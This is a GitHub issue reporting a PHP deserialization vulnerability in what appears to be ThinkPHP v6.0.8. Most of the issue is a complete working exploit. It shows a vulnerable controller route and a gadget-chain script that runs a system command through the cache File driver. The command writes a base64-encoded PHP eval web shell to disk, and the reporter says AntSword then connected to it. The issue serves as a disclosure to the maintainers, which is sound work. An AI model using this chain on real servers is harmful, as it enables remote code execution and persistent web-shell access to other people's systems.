Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

PHP unserialize vulnerability in v6.0.8 #2561

Closed
Y4tacker opened this issue Jul 2, 2021 · 0 comments
Closed

PHP unserialize vulnerability in v6.0.8 #2561

Y4tacker opened this issue Jul 2, 2021 · 0 comments

Comments

@Y4tacker
Copy link

Y4tacker commented Jul 2, 2021

PHP unserialize vulnerability in v6.0.8-2

Vulnerability Demo

This chain does not show back on the web page, but can execute system commands, and the public chain is a little different from the Internet

First, simply write a route

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
     if(isset($_POST['data'])){
            @unserialize($_POST['data']);
        }
      
    }

}

exp

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $complete = [];
        protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > 2.php`'];
    }
}

namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache
    {
        protected $store;
        protected $key;
        public function __construct($store,$key,$expire)
        {
            $this->key    = $key;
            $this->store  = $store;
            $this->expire = $expire;
        }
    }
}

namespace think\cache{
    abstract class Driver{

    }
}
namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver
    {
        protected $options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => false,
            'path'          => 'y4tacker',
            'hash_type'     => 'md5',
            'serialize'     => ['system'],
        ];
    }
}
namespace{
    $b = new think\cache\driver\File();
    $a = new think\filesystem\CacheStore($b,'y4tacker','1111');
    echo urlencode(serialize($a));

}

Attempt to write file successful
1

Ant-sword connection successful

2

@Y4tacker Y4tacker closed this as completed Jul 2, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant